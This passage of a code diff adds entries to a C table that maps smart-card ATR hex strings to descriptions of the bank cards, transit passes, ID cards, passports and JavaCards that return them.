(Other)\nhttps://www.uni-due.de/studierendensekretariat/studierendenausweis.shtml" }, { "3B898001434C616972653220363C", "Fidor Smartcard Mastercard/Maestro (Bank)\nhttps://www.fidor.eu" }, { "3B898001434C616972653320363D", "MasterCard with PayPass issued by Commerbank AG (Germany) (Bank)\nhttps://www.commerzbank.de/portal/de/privatkunden/produkte/bezahlen/kreditkarten/mastercard-classic/mastercardclassic.html" }, @@ -1930,7 +2047,10 @@ const static atr_t AtrTable[] = { { "3B89800180574A4D5676352E30D3", "PayPal Access Business MasterCard (contactless) (Bank)\nCoinbase Card, Visa Debit (Paysafe / TCT FCU) (Bank)\nhttps://coinbase.com/card" }, { "3B8980018064160401868290006B", "LUKB (Bank)\nhttps://www.lukb.ch" }, { "3B8980018064160402828290006C", "Maestro card (from Mastercard) used by BCGE (switzerland) bank (Bank)" }, + { "3B89800180642004018382900058", "Raiffeisen Debit Card / Master (Bank)" }, { "3B89800180670412B0030501024C", "Austrian Passport" }, + { "3B8980018684105430343131317B", "e-CNY hard wallet issued by Bank of China & Meituan (Bank)\nhttps://www.mpaypass.com.cn/news/202209/01101324.html" }, + { "3B89800186885550504849434B5A", "UnionPay Debit card issued by Industrial and Commercial Bank of China (Contactless) (Bank)\nhttps://www.icbc.com.cn/" }, { "3B8A0091010016000116010096", "GSM-SIM T-Mobil D1 (900MHz)" }, { "3B8A0091010016000120010096", "GSM-SIM T-D1 prepaid (Xtra)" }, { "3B8A0091010016000120020096", "GSM-SIM (900MHz) card of the carrier t-mobile for their cellular\nnetwork (phase 2+ with 3V)" }, @@ -1946,17 +2066,21 @@ const static atr_t AtrTable[] = { { "3B8A80010031C173C8400000900090", "NXP PN65o's Internal Secure Element in card emulation mode. (Other)" }, { "3B8A80010064055C02033180900016", "T-System Contactless Netkey Card" }, { "3B8A8001006405760203318090003C", "T-System Contactless TCOS Min" }, + { "3B8A8001015049564B455937301603", "Taglio PIVkey C70-DP-DF1 (Contactless interface) (JavaCard)\nhttps://store.taglio.com/products/c70-dp-df1-dual-pki-smart-card-with-prox-and-desfire-ev1" }, { "3B8A80013037393134315F3030316F", "Electronic Citizen Identity Card (e-ID Card) (eID)\nhttps://www.e-ktp.com/" }, { "3B8A800143323330302D4649505368", "Crescendo 2300 FIPS (contactless interface) (PKI)" }, { "3B8A80014A3341303831563234316B", "NXP JCOP CJ3A081 (NFC) (JavaCard)\nNXP JCOP 80K - J3A081V241" }, { "3B8A80014A33523138302D32353506", "Cardlogix J3R180 NXP JCOP 4 Java Card 3.0.5 Classic Dual Interface (JavaCard)\nhttps://www.cardlogix.com/product/nxp-jcop-4-java-card-3-0-5-classic/" }, + { "3B8A80014A33523331302D3335350C", "NXP JCOP 4 (JavaCard)\nhttps://www.cardlogix.com/product/nxp-jcop-4-java-card-3-0-5-classic/" }, { "3B8A80014A434F503331563233327A", "Snapper New Zealand (JCOP)" }, { "3B8A80014A434F503431563232317F", "JCOP41 Cards (not supported, but recognized by Classic Client)\nNXP JCOP 41 v2.2.1 72k RFID I/F" }, { "3B8A80014D540005002086640001D4", "Beijing Municipal Administration & Communication Card (Transport)\nhttps://www.bmac.com.cn/" }, + { "3B8A80014D54000500308693695B00", "Beijing Municipal Administration & Communication Card (Transport)\nhttps://www.bmac.com.cn/" }, { "3B8A800150564A434F5033454D5676", "NXP JCOP3 J3H082 Java Card 3.0.4 Dual-Interface (JavaCard) (JavaCard)\nhttps://www.cardlogix.com/product/nxp-jcop3-j3h082-java-card-3-0-4-j3h081-dual-interface/" }, { "3B8A800150564A434F503453494471", "J3R180 via ifdnfc (JavaCard)" }, { "3B8A80015345204445534669726557", "NXP-Mifare DESFire EV1 2k (used as a company ID card) (eID)" }, { "3B8A8001534F535345020325010374", "Super SIM X-SIM 16-in-1 (Telecommunication)\nhttps://multi-com.eu/,details,id_pr,14881,key,super-sim-16-in-1-card,smenu,gsm.html" }, + { "3B8A8001543243313352464E9000E6", "Anordsem NFC Forum Type 4 Writable RFID NFC Card (Other)\nhttps://www.aliexpress.us/item/2251832653152623.html" }, { "3B8A8001546963546F6B20332E3008", "Cryptas TicTok v3 (PKI)\nhttps://www.cryptas.com/en/products/tictok-card" }, { "3B8A80018031B8738401E082900006", "German ID Card - Personalausweis" }, { "3B8A80018031F873F741E082900075", "ePerso - German ID card" }, @@ -1986,21 +2110,32 @@ const static atr_t AtrTable[] = { { "3B8B80010031C1640840223000900054", "IDEMIA Cosmo v8.1-n (Other)" }, { "3B8B80010031C1640860320600900052", "Banco CTT (Portugal) contactless VISA Debit card (Bank) (Bank)\nhttps://www.bancoctt.pt/home/abrir-conta.html" }, { "3B8B80010031C1640860321200900046", "AMEX Silver Credit (Bank)" }, + { "3B8B80010031C1640860321A0090004E", "UnionPay Debit card issued by HSBC CN (Contactless) (Bank)\nhttps://www.hsbc.com.cn/debit-cards/" }, { "3B8B80010031C1640860321F0090004B", "Hanseatic Bank Visa Card (Bank)\nhttps://www.hanseaticbank.de/kreditkarte/genialcard" }, { "3B8B80010031C1640860322000900074", "IDEMIA (Other)" }, { "3B8B80010031C1640860324200900016", "Westpac Handybank EFTPOS/ATM Card - Contactless (Bank)" }, { "3B8B80010031C16408923354009000F3", "Italian healthcare card (TS) National Service Card (CNS) (HealthCare)\nhttp://www.salute.gov.it/portale/lea/dettaglioContenutiLea.jsp?lingua=italiano&id=4693&area=Lea&menu=leaEssn" }, { "3B8B80010031C16408986200009000FC", "ERSTE Bank creditcard (mastercard) (Bank)" }, + { "3B8B80010031C16408986229009000D5", "CashApp (Tap) (Bank)\nhttps://cash.app/help" }, { "3B8B80010031C1640911213000900007", "SmartMX (Other)" }, { "3B8B80010031C1640924331E0090000E", "Cumulus Mastercard (Bank)\nhttps://www.migros.ch/cumulus/mastercard" }, + { "3B8B80010031C164092914540090006E", "Italian State National Card (eID)\nhttps://www.inps.it/it/it/assistenza/cns---carta-nazionale-dei-servizi.html" }, { "3B8B80010031C1640937721300900051", "French ID Card 2021 (contactless interface) (eID)\nhttps://ants.gouv.fr/Les-titres/Carte-nationale-d-identite/La-puce-de-la-nouvelle-carte-nationale-d-identite" }, + { "3B8B80010031C1640946012A0090006A", "Zwipe Access badge with HID Seos applet (eID)\nhttps://www.zwipe.com/access" }, + { "3B8B80010031C1640958213600900048", "American Express Corporate Card (Bank)\nhttps://www.americanexpress.com/es-es/negocios/corporativa/tarjetas/corporate-card/" }, { "3B8B80010031C1640964413600900014", "Monzo (Bank)\nhttps://monzo.com/" }, + { "3B8B80010031C164097861310090002F", "BBVA credit card (Bank)\nhttps://www.bbva.es/personas/productos/tarjetas/credito.html" }, { "3B8B800100640411010131800090005A", "German Passport (issued Nov 2006)\nUnited Kingdom e-Passport\nLuxembourg passport (2007)" }, { "3B8B80010B7880820244492030324D1B", "Mastercard Debit issued by Raiffeisen bank in Czech Republic" }, + { "3B8B800120555F4A434152445F532052", "Universal JCard S (C-UJC080-PCG-101) (JavaCard)\nhttps://www.usmartcards.co.uk/universal-j-cards" }, + { "3B8B800120700100000000071C615170", "Residence Permit for Residents of Liaoning, China (eID)\nhttps://www.gov.cn/xinwen/2018-04/02/content_5279248.htm" }, { "3B8B80012085008B030FE09AA0E04052", "Shanghai Public Transportation Card (Transport)\nhttp://www.sptcc.com/" }, + { "3B8B80012090000000000008EE277F04", "Hungarian eID (2024) (eID)\nhttps://eszemelyi.hu/en/" }, { "3B8B8001209000000000001614CDAADF", "JCOP 41 IBM card for Guizhou Normal University (JavaCard)" }, + { "3B8B800120900000000000995D583016", "Northeastern University (China) student ID card (Other)\nhttp://ecard.neu.edu.cn/" }, { "3B8B800120900000000000C3A4CC0918", "ID card (Other)" }, { "3B8B80012A26A7A10C804100000709C3", "T-Mobilitat (Transport)\nhttps://t-mobilitat.cat/" }, + { "3B8B80012A26A7A10C804100019AB1E7", "T-Mobilitat (Transport)\nhttps://t-mobilitat.atm.cat/" }, { "3B8B8001474841204A32343120503158", "Republic of Ghana eID (eID)\nhttps://nia.gov.gh/" }, { "3B8B80014E58502D4E46432032000038", "TouchandTravel Touchpoint NFC-Card.\nTrain-Station in Berlin. Use a NFC-compliant phone to check in for a ticket." }, { "3B8B800150333038473050335F31302B", "Indonesian ektp (eID)" }, @@ -2014,7 +2149,9 @@ const static atr_t AtrTable[] = { { "3B8B80018066475000B8007F8290002E", "Italian Card Identity (eID)\nhttps://www.cartaidentita.interno.gov.it/" }, { "3B8B80018066475000B80094829000C5", "Italian Electronic Contactless Identity Card v. 3.0 (CIE 3.0) (eID)\nhttps://www.cartaidentita.interno.gov.it/" }, { "3B8B800180F9A00000030800001000C8", "Probably the same as 'JCOP3 SecID P60 CS (JavaCard)' but mated with a contactless Identiv reader (JavaCard)" }, + { "3B8B8001868602563390314F8BB98F3E", "Macau Pass (Transport)\nhttps://www.macaupass.com/" }, { "3B8B80018688FF6F391E743C200800D3", "Chinese ICBC (bank)" }, + { "3B8B80018688FF8511BBBD2120080060", "UnionPay Debit card issued by China Minsheng Bank (Contactless) (Bank)\nhttps://www.cmbc.com.cn/" }, { "3B8B81314034534D41525453434F5045316D", "Zeeland kaart (Telecommunication)" }, { "3B8C014D79536D6172744C6F676F6EA5", "EIDVirtual (USB key emulated as a virtual smart card) (PKI)\nhttp://www.mysmartlogon.com/eidvirtual/" }, { "3B8C01805A4E6974726F6B657920337D", "'Nitrokey 3C NFC' USB authentication and security token (Other)\nhttps://shop.nitrokey.com/shop/product/nk3cn-nitrokey-3c-nfc-148" }, @@ -2035,6 +2172,7 @@ const static atr_t AtrTable[] = { { "3B8C80015001C62E3900000000808171FD", "edenred (Loyalty)" }, { "3B8C80015003A129CF0000000011818108", "rav-kav, Israel transport card (Transport)\nhttp://www.egged.co.il/Article-786-Rav-Kav-Card.aspx" }, { "3B8C80015004463EC3E1F35E117781A1E8", "Spanish ID (eID)" }, + { "3B8C800150046F2A86000000000071719A", "RavKav israel (PKI)\nhttps://ravkavonline.co.il/en/" }, { "3B8C8001500509CE35000000003371A149", "Libertan transport card from Nantes (France), based on Calypso (Transport)\nhttps://www.tan.fr/fr/abonnements-libertan-1" }, { "3B8C80015005A966960000000080817171", "Hello bank! VISA CLASSIC Card (Bank)\nhttp://www.hellobank.fr/" }, { "3B8C80015006DCA8590000000080817106", "VISA Hello bank! (NFC) (Bank)\nhttps://www.hellobank.fr/" }, @@ -2079,6 +2217,7 @@ const static atr_t AtrTable[] = { { "3B8C800150710CF3C800000000B37171A8", "MOBIB CARD BELGIUM (Transport)" }, { "3B8C800150773B2DBD0000001100818594", "Texas Instruments Dynamic NFC Interface Transponder (RF430CL330H)" }, { "3B8C800150784B2CCB00000000B371713A", "... (Transport)\nhttps://www.portalviva.pt/" }, + { "3B8C800150787182D400000000118171E3", "BUS Synchro in Grand Chambery (Transport)\nhttps://synchro.grandchambery.fr" }, { "3B8C80015078F87217E1F35E117781A5B6", "US (passport)" }, { "3B8C8001507919600100DDA611F7718535", "Transport Traway Montpellier France (Transport)" }, { "3B8C8001507AA44007231801007781979F", "Indonesian Driver License" }, @@ -2108,12 +2247,15 @@ const static atr_t AtrTable[] = { { "3B8C800150C14164E3000000000071715A", "Navigo Annuel (France) (Transport)\nhttps://www.iledefrance-mobilites.fr/titres-et-tarifs/detail/forfait-navigo-annuel" }, { "3B8C800150C14CFD23000000000071710E", "Navigo (Transport)\nhttps://www.iledefrance-mobilites.fr/" }, { "3B8C800150C16A347200000000007171B0", "Navigo pass (RATP) (Transport)\nhttp://www.navigo.fr/" }, + { "3B8C800150C177722200000000007171BB", "Pass Navigo Easy Paris (Transport)" }, { "3B8C800150C17B55BA0000000000717108", "Navigo Easy (Paris public transportation) (Transport)\nhttps://parisbytrain.com/navigo-easy/" }, { "3B8C800150C17DA8CA0000000000717183", "Navigo Easy (France) transport card (Transport)\nhttps://www.ratp.fr/titres-et-tarifs/passe-navigo-easy" }, { "3B8C800150C2B936860000000000717196", "Passe Navigo (Transport)\nhttps://www.iledefrance-mobilites.fr/titres-et-tarifs/supports/passe-navigo-decouverte" }, { "3B8C800150C326AF0C000000000071711B", "Navigo Mobility Paris transport's Card (Transport)\nhttps://www.iledefrance-mobilites.fr/titres-et-tarifs/liste?d=forfaits" }, { "3B8C800150C41466C30000000000717128", "Navigo easy (Transport)\nhttps://www.iledefrance-mobilites.fr/titres-et-tarifs/supports/passe-navigo-easy" }, + { "3B8C800150C464D71200000000118171D9", "Carte Opus (Montreal) (Transport)\nhttps://www.carteopus.info/" }, { "3B8C800150C51770F0000000008081717F", "SumUp Limited Apple Pay Virtual Card (Bank)\nhttps://sumup.co.uk" }, + { "3B8C800150C5FD630D00000000008171FB", "Navigo Easy (Transport)\nhttps://www.iledefrance-mobilites.fr/en/tickets-fares/media/navigo-easy-travel-card" }, { "3B8C800150C7251C5A00000011F781811F", "MOBIB Belgian public transport Card (Transport)\nhttps://mobib.be/fr.html" }, { "3B8C800150CA24513E00000011F781813A", "belgian mobib transportation card (Transport)" }, { "3B8C800150CBFB077E000000008081E1F4", "Samsung Digital Center in Seul Access ID card for guests (eID)" }, @@ -2121,6 +2263,7 @@ const static atr_t AtrTable[] = { { "3B8C800150D94E7D0000000000008180B6", "Chicago CTA Ventra Transit card (Transport)\nhttps://www.ventrachicago.com/" }, { "3B8C800150DF4C852C0000000000817791", "SNS Bank Netherlands (Bank)" }, { "3B8C800150E2F8282E0000000000818747", "ING Maestro Debit Card (Bank)\nhttps://www.ing.nl/particulier/index.html" }, + { "3B8C800150EA5A3F1930AAAA017781D7DB", "Indonesia's Official Citizenship/Identity Card (e-KTP) (eID)\nhttps://en.wikipedia.org/wiki/Indonesian_identity_card" }, { "3B8C800150EB5E6A120000000000817766", "Maestro card (Bank)" }, { "3B8C800150F2AD19D7000000000081773A", "ING Maestro Debit Card (Bank)\nhttps://www.ing.nl/particulier/index.html" }, { "3B8C800150F56FF82BE1F35E113381C73C", "ID of the Republic of Kazakhstan Ministry of Internal Affairs of the Republic of Kazakhstan (eID)" }, @@ -2156,11 +2299,13 @@ const static atr_t AtrTable[] = { { "3B8D80010073C80013645437443300900044", "master cRD (Bank)\nTD MasterCard\nTangerine MasterCard" }, { "3B8D80010073C80013645437473100900045", "Tangerine ATM/ABM Card" }, { "3B8D800100851410108501112002759000CF", "Sahl Payment Card (Other)\nhttps://www.english.sahlpay.app/" }, + { "3B8D8001008C430101868821014015D85636", "UnionPay Debit card issued by Industrial and Commercial Bank of China (Contactless) (Bank)\nhttps://www.icbc.com.cn/" }, { "3B8D80010D788084020073C840130090FFF8", "Nokia 6212 phone seen as NFC device" }, { "3B8D80010D78F7B1024A434F50763234316A", "Electronic Identity For Students at university (eID)" }, { "3B8D80014946582D6A63333031677032325A", "Degussa Bank Corporate MasterCard (Bank)\nhttps://firmenkarten.degussa-bank.de/" }, { "3B8D8001534C4A35324778787979797A5248", "cipurse (Other)" }, { "3B8D800154415854434F534E201703073304", "Contactless Java Card v.2.2, GP version 2.2.1 with a NDEF storage applet installed. (JavaCard)" }, + { "3B8D800161757468656E746F6E23312EFFB9", "authenton#1 NFC via ACR122U. Features similar to a yubikey, the USB SmartCard interface is not recognized. Here, it's the ATR when i use the NFC interface with my ACR122U. (Other)\nhttp://authenton.com/" }, { "3B8D8001736674652D63643038302D6E663F", "G&D SmartCafe Expert 3.2 80K Dual" }, { "3B8D800180318065B0070202898300900075", "JCOP30 contactless interface" }, { "3B8D80018073C021C057597562694B6579F9", "Yubikey 5 NFC (via NFC) (Other)\nhttps://www.yubico.com/product/yubikey-5-nfc/#yubikey-5-nfc" }, @@ -2170,6 +2315,7 @@ const static atr_t AtrTable[] = { { "3B8D80018091E165D0005B010273D44140B7", "Portuguese Passport (passport)\nhttp://www.pep.pt/PagesPT/Caracteristicas.aspx" }, { "3B8D80018091E165D0005B010373D44140B6", "French passport (2010-2011)" }, { "3B8E0100738020C006534C434F530590004F", "idex (JavaCard)" }, + { "3B8E80010000814D22088660300020E00007F8", "Mastercard Debit card issued by Bank of China (Contactless) (Bank)\nhttps://www.boc.cn/" }, { "3B8E8001005100631F6D01739F20C0C0900012", "Identity card (eID) Republic of Latvia (eID)\nhttps://www.pmlp.gov.lv/en/home/services/personal-certificates-%28eid%29/" }, { "3B8E8001005131631F5901739F20C0C0900017", "Identity card (eID) Republic of Latvia (eID)\nhttp://www.pmlp.gov.lv/en/home/services/personal-certificates-%28eid%29/\nFrench driving license (eID) (contactless)" }, { "3B8E80010E7833C4020064041501020090FF95", "Spanish Passport" }, @@ -2180,7 +2326,12 @@ const static atr_t AtrTable[] = { { "3B8E8001137880800246494F4D4B5F3030314E", "MasterCard/PayPass Card issued by Czech FIO Banka a.s. (contactless chip)\nnote the ASCII string 'FIOK_001N' embedded in ATR" }, { "3B8E8001410543000000000000000000900098", "ACOS5-EVO PKI Smart Card (Combi) (PKI)\nhttps://www.acs.com.hk/en/products/471/acos5-evo-pki-smart-card/" }, { "3B8E800152464944494F74204A434F5038305A", "RFIDIOt G&D SmartCafe 80K" }, + { "3B8E800153434520382E302D433256320D0A63", "ePassport (passport)\nhttps://www.veridos.com/en/" }, + { "3B8E800153434520382E302D433356300D0A60", "Latvian passport (2024) (passport)" }, { "3B8E800153434536302D43443038312D6E464A", "SmartCafe Expert 6.0 80K Dual (JavaCard)\nhttp://www.smartcardfocus.com/shop/ilp/id~684/smartcafe-expert-6-0-80k-dual-/p/index.shtml" }, + { "3B8E8001544A4F50323144303431563232311B", "China Construction Bank Lutong Card Type A (Credit) with ETC (Bank)\nhttp://ccb.com/sd/cn/fhgg/20200122_1579670876.html" }, + { "3B8E80015644562D4B41204944333720464D6E", "'VBB-fahrCard' time and season tickets on public transports in Berlin and Brandenburg - eTicket (Transport)\nhttps://www.vbb.de/tickets/tarifinformationen-services/vbb-fahrcard/" }, + { "3B8E80015644562D4B412049443337204A341B", "eTicket (Transport)\nhttps://www.eticket-deutschland.de/" }, { "3B8E80018031806549544E5850120FFF8290F0", "Italian Electronic Contactless Identity Card v. 3.0 (CIE 3.0) - ICAO 9303 Compliant (eID)\nhttps://www.cartaidentita.interno.gov.it/caratteristiche-del-documento/" }, { "3B8E80018031806549544E5850120FFFFFFFE2", "Italian identity card, 2nd version (eID)\nhttps://www.cartaidentita.interno.gov.it/" }, { "3B8E800180318066409089120802830190000B", "ISO 14443B Type T = CL Infineon Card" }, @@ -2192,6 +2343,7 @@ const static atr_t AtrTable[] = { { "3B8E800180318066B1840C016E01830090001C", "UK Lloyds Bank Gold Visa Debit (Contact & Contactless)\nbPay by barclaycard - contactless pre-paid Visa\nBPP Digital pre-paid VISA card (Bank)\nhttps://bpp.com.br/\nMastercard credit card for Standard Chartered Bank, Pakistan also Mastercard debit card for JS Bank, Pakistan (Bank)" }, { "3B8E800180318066B1840C016E01830090001C021450", "all transport travel pass (Transport)\nhttp://www.metro.spb.ru/cnblt41.html" }, { "3B8E800180318066B1C5240100ED83009000F7", "Mastercard (Bank)" }, + { "3B8E800180318066B1EB010100228300900033", "ING debit card NL (Bank)\nhttps://ing.nl" }, { "3B8E80018031815448534D3173802140810718", "Smartcard-HSM (Contactless Interface) (PKI)\nhttp://www.cardcontact.de/products/sc-hsm.html" }, { "3B8E80018031815448534D3173802140FFFF9E", "SmartCard-HSM RFID (PKI)\nhttps://www.smartcard-hsm.com/" }, { "3B8E800180919131C06477E30300838290001C", "Belgian Passport (2005)\nThai Passport 2005" }, @@ -2214,16 +2366,25 @@ const static atr_t AtrTable[] = { { "3B8F80010031C173C8211064414D333007900088", "ING-VISA-Card (Bank)\nhttps://www.ing.de/girokonto/karten-bargeld/" }, { "3B8F80010031C173C8211064414D333107900089", "NAB VISA Debit (Bank)\nhttps://www.nab.com.au/" }, { "3B8F80010031C173C8211064414D3341079000F9", "Ukrainian International resere bank (ex Sberbak RF) debit card (Bank)\nhttps://www.sbrf.com.ua/" }, + { "3B8F80010031C173C8211064414D3348079000F0", "Consorsbank VISA debit card (Bank)" }, + { "3B8F80010031C173C8211064474D31360090008D", "Mastercard Debit card issued by China Construction Bank (Contactless) (Bank)\nhttps://www.ccb.com/" }, + { "3B8F80010031C173C8211064474D3342009000FB", "Visa Debit card issued by Bank of China (Contactless) (Bank)\nhttps://www.boc.cn/" }, { "3B8F80010031C173C8211064474D34350090008B", "S-Etukortti Visa (Bank)\nhttps://www.s-pankki.fi/fi/s-etukortti-visa" }, { "3B8F80010031C173C8211064474D343700900089", "SpareBank Visa Card, Norway (Bank)" }, + { "3B8F80010031C173C82110644D30424E079000F6", "Debit Card (Deutsche Bank Card Plus) (Bank)\nhttps://www.deutsche-bank.de/pk/konto-und-karte/karten-im-ueberblick/deutsche-bank-card-plus.html" }, + { "3B8F80010031C173C82110645630434E079000EC", "Amazon VISA Card (Bank)" }, + { "3B8F80010031C173C82110645631434E079000ED", "Tarjeta Despues BBVA Espana (contact interface) (Bank)\nhttps://www.bbva.es/personas/productos/tarjetas/tarjeta-despues.html" }, { "3B8F80010031C173C8211064574B31330090009E", "TIM Pay - HYPE (Mastercard debit card) (Bank)\nhttps://www.tim.it/fisso-e-mobile/mobile/servizi/tim-pay" }, { "3B8F80010031C173C8211064574B313400900099", "G&D Sm@rtCafe Card embedded in a wristband (Bank)\nhttps://www.gi-de.com/en/au/mobile-security/industries/financial-institutions/wearables/" }, + { "3B8F8001005100640908067873D320C0C0900054", "French residency permit (contactless interface) (eID)\nhttps://www.service-public.fr/particuliers/vosdroits/N110" }, { "3B8F800100664653051000FF71DF000000000039", "JavaCOS A40 dual interface Java card - 64K (JavaCard)" }, { "3B8F800100B85421000090000000000000000053", "netbank Germany, Mastercard (Bank)\nhttps://netbank.de" }, { "3B8F800100B85431000090000000000000000043", "Monzo MasterCard Contactless (Bank)\nhttps://monzo.com/" }, { "3B8F800100B854310000900000000000FFFFFFBC", "VISA Debit issued by WIREX. card made by CONTIS / TAG SYSTEMS (Bank)\nhttps://wirexapp.com/" }, + { "3B8F800101654E434F532D4D43412D434C30373C", "eNCOS + MCA, MchipAdvance 123 bundled with eNCOS (Bank)" }, { "3B8F80013101F1564011001900000000000000D1", "Revolut Mastercard (Bank)" }, { "3B8F80013101F1564011001900000000FFFFFF2E", "BVG Guthabenkarte (Prepaid Payment Card for Berlin/Brandenburg Public Transport) (Transport)\nhttps://www.bvg.de/de/service-und-kontakt/guthabenkarte" }, + { "3B8F80013101F1564011001D00000000FFFFFF2A", "n26 (Bank)" }, { "3B8F800141434F53204449616E6131204C63365B", "DKB-VISA-Card (Bank)\nhttps://produkte.dkb.de/?&page=girokonto#kreditkarte" }, { "3B8F800141434F53204449616E613120FFFFFFBD", "DKB Visa Credit Card (Bank)\nhttps://www.dkb.de" }, { "3B8F800141434F53204449616E6132204C633658", "comdirect Visa debit (Bank)\nhttps://www.comdirect.de" }, @@ -2234,23 +2395,32 @@ const static atr_t AtrTable[] = { { "3B8F800143553269AA20202020202020202020E9", "UBS Access Card (Mobile Online Banking, NFC, Switzerland)" }, { "3B8F800145504100000000........00........", "Austrian Quick E-purse contactless\nhttp://www.quick.at/" }, { "3B8F80014A434F50332041545320434841525326", "Samsung Galaxy Watch Active NFC (Other)" }, + { "3B8F80014D5400020100FFFF0114013422071100", "HK Octopus - China T-Union Card (Felica/ISO-14443A combo 14443A section) (Transport)\nhttps://www.octopus.com.hk/en/consumer/octopus-cards/products/cross-border/china-t-union.html" }, { "3B8F800152464944494F74204A434F5020333676", "RFIDIOt JCOP 36K Blank\nhttp://rfidiot.org" }, { "3B8F800152464944494F74204A434F5020373276", "RFIDIOt JCOP 72K Blank\nhttp://rfidiot.org" }, { "3B8F800152464944494F74204A434F5037327224", "RFIDIOt JCOP 72K RANDOM_UID Blank\nhttp://rfidiot.org" }, { "3B8F800156696E5061795379732050757273652F", "JCOP (Other)" }, + { "3B8F800157694C4C570000000000002019032875", "Mastercard Debit card issued by Industrial and Commercial Bank of China (Contactless) (Bank)\nhttps://www.icbc.com.cn/" }, + { "3B8F800157694C4C57000000000000202004294A", "Amex China bank card (Contactless) (Bank)\nhttps://www.americanexpress.com.cn/" }, + { "3B8F800157694C4C570000000000002020043053", "Mastercard China Debit card issued by Postal Savings Bank of China (Contactless) (Bank)\nhttps://www.psbc.com/" }, { "3B8F80018031806549544A3441120FFF82900088", "CIE - Carta di Identita Elettronica - Italian ID Card (eID)\nhttps://www.cartaidentita.interno.gov.it" }, { "3B8F80018031806549544A3442120FFF829000", "Italian Identity Card CIE (eID) (eID)\nhttps://www.cartaidentita.interno.gov.it/en/home/" }, { "3B8F80018031806549544A3442120FFF8290008B", "Identity Card (eID)" }, + { "3B8F80018031806549544A3443120FFF8290008A", "Electronic Identity (CIE) (eID)" }, { "3B8F80018031806549544A3444120FFF8290008D", "CIE Italian Electronic Identity Card (eID)" }, { "3B8F800180318065B0........120FFE829000..", "IDPrime MD 3810 T=Contactless (Prox DU)" }, { "3B8F800180318065B0842327E5120FFE8290007E", "Gemalto IDPrime MD 3810 Blank Card (Other)\nhttp://www.gemalto.com/products/IDPrime_MD/index.html" }, { "3B8F800180318065B0846160FB120FFD82900066", "IDPrime 3930 FIPS Level 2 (Contactless TypeA) (BAI5, BAI7) (PKI)" }, + { "3B8F800180318065B0846566FB120FFC82900065", "Thales SafeNet IDPrime 3930 (PKI)\nhttps://cpl.thalesgroup.com/resources/access-management/idprime-3930-product-brief" }, { "3B8F800180318065B0850300EF120FFE82900072", "Gemalto IDPrime MD 3840\nhttp://www.gemalto.com/dwnld/6891_IDPrimeMD3840_Product_Datasheet_May14.pdf" }, { "3B8F800180318065B0850300EF120FFF82900073", "Grand Duchy of Luxembourg / Identity card with LuxTrust certificate (eID)\nhttp://www.guichet.public.lu/citoyens/fr/citoyennete/papiers-identite/carte-identite/nouv-carte-identite-adulte-EN/index.html" }, { "3B8F800180318065B085040011120FFF8290008A", "Dutch driver licence (eID)\nItalian electronic identity card (eID)\nhttps://en.wikipedia.org/wiki/Italian_electronic_identity_card" }, + { "3B8F800180318065B085050011120480829000FF", "Mauritius eID (eID)" }, + { "3B8F800180318065B0855956FB120FFC82900068", "THALES SafeNet IDPrime 3940 Fido (PKI) (PKI)\nhttps://cpl.thalesgroup.com/fr/resources/access-management/idprime-3940-product-brief" }, { "3B8F80018031B865B0850300EF1200F68290004D", "Finnish electronic identity card (eID)\nhttps://vrk.fi/en/electronic-identity-and-certificates" }, { "3B8F80018031B865B08504021B1200F6829000BC", "Finnish identity card (eID)" }, { "3B8F80018031B865B08505001112246082900007", "Finnish Citizen Certificate ID Card (eID)\nhttps://dvv.fi/en/citizen-certificate-on-id-card" }, + { "3B8F80018031D85365494464B085051012233F16", "Estonian Identity Card 2025 (eID) (eID)\nhttps://www.id.ee/" }, { "3B8F80018031D865B08505001112752082900076", "Swedish national ID card (eID)\nhttps://polisen.se/en/services-and-permits/passport-and-national-id-card/check-validity-online-for-passports-and-national-id-cards/" }, { "3B8F80018031E06B042105027255555555555564", "Banamex/Citi Bank Bsmart MasterCard Paypass (Bank)\nhttps://www.banamex.com/es/personas/tarjetas_credito/ver_tarjetas/puntos_efectivo/bsmart.htm" }, { "3B8F80018031E06B04310502D1555555........", "Revolut Prepaid Mastercard (Contactless) (Bank)\nhttps://revolut.com/" }, @@ -2337,6 +2507,7 @@ const static atr_t AtrTable[] = { { "3B8F8001804F0CA00000030603FF88000000001C", "Infineon Mifare SLE 66R35\nhttp://www.infineon.com/cms/en/product/channel.html?channel=ff80808112ab681d0112ab69686e01ee\n'Old' 'unlimited trips' card for Moscow Metro (underground)" }, { "3B8F8001804F0CA00000030605....00000000..", "RFID - ISO 14443 Type B Part 1 (as per PCSC std part3)" }, { "3B8F8001804F0CA00000030606....00000000..", "RFID - ISO 14443 Type B Part 2 (as per PCSC std part3)" }, + { "3B8F8001804F0CA000000306060000000000006E", "ATM Milano RICARICA-MI Card (Transport)\nhttps://www.atm.it/en/ViaggiaConNoi/Biglietti/Pages/Ricaricami.aspx" }, { "3B8F8001804F0CA00000030607....00000000..", "RFID - ISO 14443 Type B Part 3 (as per PCSC std part3)" }, { "3B8F8001804F0CA000000306070000000000006F", "Atmel AT88RF04C CryptoRF" }, { "3B8F8001804F0CA000000306074344600201E4EF", "'Andante' Card, Porto (Portugal) metro card. (ISO14443 B CTS/CTM512B) (Transport)\nhttp://www.transportespublicos.pt/en/glossary/andante-ticket-system/" }, @@ -2364,6 +2535,7 @@ const static atr_t AtrTable[] = { { "3B8F8001805A08030300000001D3377282900059", "French Transport Card Pass'bus (used in Metz, France)\nhttp://www.tcrm-metz.fr/" }, { "3B8F8001805A08030300000002B36C5382900040", "Modalis: transport card for Gironde buses (France) (Transport)\nhttp://transgironde.gironde.fr/" }, { "3B8F8001805A08030400020024E279788290000C", "Paris Navigo card 14443 B' (Innovatron - Calypso)" }, + { "3B8F80018065544320141331C073F4A180810508", "Turkey id card (eID)" }, { "3B8F80018066B007010107............9000..", "Gemalto Santander Optelio TUI R7 with WG10 customized using Contactless interface" }, { "3B8F80018073CC91CBF9A0000003080000100029", "NIST demo PIV card (eID)" }, { "3B8F8001809100318065B08405002583019000CD", "Contactless IDCore3230 build 6.8, test APDU applet (JavaCard)" }, @@ -2373,13 +2545,16 @@ const static atr_t AtrTable[] = { { "3B8F80018091E1318065B0831117E583009000E9", "IDPrime PIV Card v2.0 AES SCP03 (eID)\nhttp://www.gemalto.com/products/piv_card/product_brief.html" }, { "3B8F80018091E1318065B0850200CF83009000C1", "Gemalto IDCore 3010 CC (JavaCard)\nhttp://www.gemalto.com/Products/top_javacard/index.html\nMultiApp ID Dual Citizen EAC 80K CC / IDClassic 3340 (old name: Classic TPC DM) (with IAS Applet V3) - Contactless Mode" }, { "3B8F80018091E1318065B0850200E983009000E7", "MultiApp ID Dual Citizen EAC 144K CC (with IAS Applet 